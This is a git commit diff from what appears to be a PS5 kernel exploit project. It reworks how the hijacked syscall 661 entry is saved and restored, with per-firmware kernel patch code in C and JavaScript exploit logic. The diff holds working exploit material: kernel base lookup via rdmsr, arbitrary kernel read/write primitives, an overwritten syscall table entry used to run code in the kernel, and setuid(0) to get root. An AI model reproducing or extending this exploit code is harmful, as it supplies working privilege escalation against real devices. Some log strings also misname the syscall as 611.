Acctually restore sysent[661]

This commit is contained in:
Al Azif
2025-06-09 18:02:12 -07:00
parent 0abf863ff2
commit 588a70ae91
10 changed files with 84 additions and 10 deletions

View File

@@ -25,7 +25,10 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
- Fixed `ip6po_rthdr` offset for PS5 by abc
- Verified the number of blocking requests needed to be two by abc
- Only run kernel exploit once by checking setuid by @JTAG7371
- Restore syscall 661 (`sys_aio_submit()`) after patching by @janisslsm
- ~~Restore syscall 661 (`sys_aio_submit()`) after patching by @janisslsm~~
- Was not actually restoring syscall. Used a different method/rewrote to
restore in kpatch.
- Shellcode from 345 bytes to 444 bytes
### Changed

View File

@@ -50,6 +50,15 @@ static inline void restore(struct kexec_args *uap) {
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
// get kernel base
const u64 xfast_syscall_off = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
u64 *sysent_661_save = uap->arg5;
for (int i = 0; i < 0x30; i += 8) {
write64(kbase, 0x112d250 + i, sysent_661_save[i / 8]);
}
}
__attribute__((always_inline))

View File

@@ -50,6 +50,15 @@ static inline void restore(struct kexec_args *uap) {
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
// get kernel base
const u64 xfast_syscall_off = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
u64 *sysent_661_save = uap->arg5;
for (int i = 0; i < 0x30; i += 8) {
write64(kbase, 0x1129f30 + i, sysent_661_save[i / 8]);
}
}
__attribute__((always_inline))

View File

@@ -50,6 +50,15 @@ static inline void restore(struct kexec_args *uap) {
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
// get kernel base
const u64 xfast_syscall_off = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
u64 *sysent_661_save = uap->arg5;
for (int i = 0; i < 0x30; i += 8) {
write64(kbase, 0x11040c0 + i, sysent_661_save[i / 8]);
}
}
__attribute__((always_inline))

View File

@@ -50,6 +50,16 @@ static inline void restore(struct kexec_args *uap) {
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
// get kernel base
const u64 xfast_syscall_off = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
u64 *sysent_661_save = uap->arg5;
for (int i = 0; i < 0x30; i += 8) {
write64(kbase, 0x11041b0 + i, sysent_661_save[i / 8]);
}
}
__attribute__((always_inline))

View File

@@ -50,6 +50,15 @@ static inline void restore(struct kexec_args *uap) {
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
// get kernel base
const u64 xfast_syscall_off = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
u64 *sysent_661_save = uap->arg5;
for (int i = 0; i < 0x30; i += 8) {
write64(kbase, 0x1107f00 + i, sysent_661_save[i / 8]);
}
}
__attribute__((always_inline))

View File

@@ -50,6 +50,15 @@ static inline void restore(struct kexec_args *uap) {
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
// get kernel base
const u64 xfast_syscall_off = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
u64 *sysent_661_save = uap->arg5;
for (int i = 0; i < 0x30; i += 8) {
write64(kbase, 0x1103f00 + i, sysent_661_save[i / 8]);
}
}
__attribute__((always_inline))

View File

@@ -50,6 +50,15 @@ static inline void restore(struct kexec_args *uap) {
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
// get kernel base
const u64 xfast_syscall_off = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
u64 *sysent_661_save = uap->arg5;
for (int i = 0; i < 0x30; i += 8) {
write64(kbase, 0x1100ee0 + i, sysent_661_save[i / 8]);
}
}
__attribute__((always_inline))

View File

@@ -1519,9 +1519,13 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
log("change sys_aio_submit() to sys_kexec()");
// sysent[661] is unimplemented so free for use
const sysent_661 = kbase.add(off_sysent_661);
const sy_narg = kmem.read32(sysent_661);
const sy_call = kmem.read64(sysent_661.add(8));
const sy_thrcnt = kmem.read32(sysent_661.add(0x2c));
const sysent_661_save = new Buffer(0x30); // sizeof syscall
for (let off = 0; off < sysent_661_save.size; off += 8) {
sysent_661_save.write64(off, kmem.read64(sysent_661.add(off)));
}
log(`sysent[611] save addr: ${sysent_661_save.addr}`);
log("sysent[611] save data:");
hexdump(sysent_661_save);
// .sy_narg = 6
kmem.write32(sysent_661, 6);
// .sy_call = gadgets['jmp qword ptr [rsi]']
@@ -1583,22 +1587,24 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
die("test jit exec failed");
}
log("mlock save data for kernel restore");
const pipe_save = restore_info[1];
restore_info[1] = pipe_save.addr;
log("mlock pipe save data for kernel restore");
sysi("mlock", restore_info[1], page_size);
restore_info[4] = sysent_661_save.addr;
sysi("mlock", restore_info[4], page_size);
log("execute kpatch...")
mem.cpy(write_addr, patches.addr, patches.size);
sys_void("kexec", exec_addr, ...restore_info);
log("munlock save data used in kernel restore");
sysi("munlock", restore_info[1], page_size);
sysi("munlock", restore_info[4], page_size);
log("setuid(0)");
sysi("setuid", 0);
log("kernel exploit succeeded!");
kmem.write32(sysent_661.add(0x2c), sy_thrcnt);
kmem.write64(sysent_661.add(8), sy_call);
kmem.write32(sysent_661, sy_narg);
log("restored sys_aio_submit()");
}
// FUNCTIONS FOR STAGE: SETUP

View File

@@ -49,6 +49,7 @@ export const syscall_map = new Map(
getdirentries: 196,
__sysctl: 202,
mlock: 203,
munlock: 204,
clock_gettime: 232,
nanosleep: 240,
sched_yield: 331,